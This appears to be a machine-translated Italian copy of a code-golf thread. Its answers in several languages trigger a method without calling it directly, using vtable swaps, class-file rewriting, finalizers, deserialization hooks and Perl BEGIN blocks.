Non sono sicuro se questo si qualifica o no, perché sta chiamando un metodo di una classe:

Questo va in un modulo di classe:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

E questo è il codice "chiamante":

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Funziona scambiando la funzione vptr per i due Sottotitoli nella vtable per la classe.


Amico, sei pericoloso ! Ben fatto!
Mathieu Guindon,

Direi che non si qualifica, perché in VB6 / VBA un metodo è un membro di una classe - altrimenti è un procedimento ;)
Mathieu Guindon

5

Haskell

In haskell se lo fai:

main=putStrLn "This is the main action."

Verrà eseguito immediatamente senza chiamare il suo nome quando lo esegui. Magia!


1
Haskell non conta. Non puoi chiamare un'azione IO, concatenala solo più azioni IO o assegnala da qualche parte.
John Dvorak,

È il concetto equivalente per le azioni IO.
PyRulez,

5

Javascript

Semplice, basta usare gli on___eventi in JS. Per esempio:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Giava

Altra risposta di Java da parte mia. Come vedi nel codice, chiama direttamente theCalledMethod, ma il metodo notCalledMethodviene invece eseguito.

Quindi, alla fine, sto facendo 2 cose:

  • Chiamare un metodo senza chiamarlo.
  • Non chiamare un metodo chiamandolo.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Eseguendolo:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Questo dipende dalla piattaforma. In particolare, probabilmente avrà esito negativo su OS X in cui la codifica dei caratteri predefinita della piattaforma è UTF-8.
ntoskrnl,

@ntoskrnl Questo dovrebbe essere facile da risolvere se si passa il nome di codifica come parametro al getBytes()metodo, attivandolo getBytes("UTF-8"). Dal momento che non ho un OS X, potresti provare se funziona?
Victor Stafusa

UTF-8 non funziona per i dati binari. Una codifica a byte singolo come ISO-8859-1 dovrebbe funzionare, ma trattare i dati binari come una stringa è ancora errato.
ntoskrnl,

3
@ntoskrnl In effetti, stuprare i file di classe per fare ciò che sto facendo qui è sbagliato, la codifica è il più piccolo dei problemi. :)
Victor Stafusa

4

Pitone

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Giava

Sì, raccolta dei rifiuti!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Una versione per coloro che diranno inevitabilmente che System.gc()non è affidabile:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Objective-C

(Probabilmente solo se compilato con clang su Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Questo codice utilizza diversi trucchi per accedere alla funzione non utilizzata. Il primo è il valore 0x2A27. Questo è un puntatore con tag per l'intero 42, che codifica il valore nel puntatore per evitare di allocare un oggetto.

Il prossimo è MyClass. Non viene mai utilizzato, ma il runtime chiama il +loadmetodo quando viene caricato, prima main. Questo crea e registra dinamicamente una nuova classe, usando NSValuecome superclasse. Aggiunge anche un +loadmetodo per quella classe, usando MyClass's -unusedMethodcome implementazione. Dopo la registrazione, chiama il metodo di caricamento sulla nuova classe (per qualche motivo non viene chiamato automaticamente).

Poiché il metodo di caricamento della nuova classe utilizza la stessa implementazione di unusedMethod, viene effettivamente chiamato. Prende la superclasse di se stesso e aggiunge unusedFunctioncome implementazione il doesNotRecognizeSelector:metodo di quella classe . Questo metodo era originariamente un metodo di istanza attivo MyClass, ma viene chiamato come metodo di classe nella nuova classe, così selfcome il nuovo oggetto classe. Pertanto, la superclasse è NSValue, che è anche la superclasse per NSNumber.

Finalmente maincorre. Prende il valore del puntatore e lo inserisce in una NSString *variabile (il __bridgeprimo e il cast per void *consentirne l'utilizzo con o senza ARC). Quindi, tenta di richiamare stringByAppendingString:quella variabile. Poiché in realtà è un numero, che non implementa quel metodo, doesNotRecognizeSelector:viene invece chiamato il metodo, che viaggia attraverso la gerarchia di classi fino a NSValuedove viene implementato usando unusedFunction.


Nota: l'incompatibilità con altri sistemi è dovuta all'utilizzo del puntatore con tag, che non credo sia stato implementato da altre implementazioni. Se questo è stato sostituito con un numero normalmente creato, il resto del codice dovrebbe funzionare correttamente.


Hm, prova con ciruZ 'ObjFW , è un runtime e un framework Objective-C abbastanza decenti, forse questo, o qualcosa di simile, funzionerà anche con esso ;-)
mirabilos

@mirabilos L'unica incompatibilità è il 0x2A27valore, quindi non so se sia implementato altrove. ObjFW è sicuramente interessante comunque.
ughoavgfhw,


@Bryan Grazie! Stavo cercando quell'articolo esatto e non riuscivo a ricordare il nome giusto.
ughoavgfhw,

@BryanChen ah ok. ughoavgfhw: Certo, volevo solo indicare il runtime alternativo nel caso in cui volessi giocarci.
mirabilos

3

Javascript

Sento che questo non sembra esplicitamente come se stesse chiamando la funzione

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Abbastanza borderline se me lo chiedi.
Cole Johnson

@ColeJohnson Penso che l'abbia già attraversato ...
Tomas

3

C # (via using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Giava

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Sto sfruttando una funzione speciale della serializzazione Java. Il readObjectmetodo viene invocato quando un oggetto viene deserializzato, ma non viene chiamato direttamente, né dal mio codice né dalla libreria di deserializzazione. Se scavi in ​​profondità nella fonte, vedrai che a un livello basso il metodo viene chiamato internamente tramite la riflessione.


si; la serializzazione consente battute piuttosto divertenti :); tra l'altro ci sono modi simili in altri lobi di serializzazione per java
masterX244

3

Perl

È così facile Il codice seguente esegue automaticamente il codice nella subroutine, anche senza chiamata esplicita.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Anche se togliete il commento, la chiamata verrà comunque chiamata solo una volta.


Come? non posso andare dietro la magia +
masterX244
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.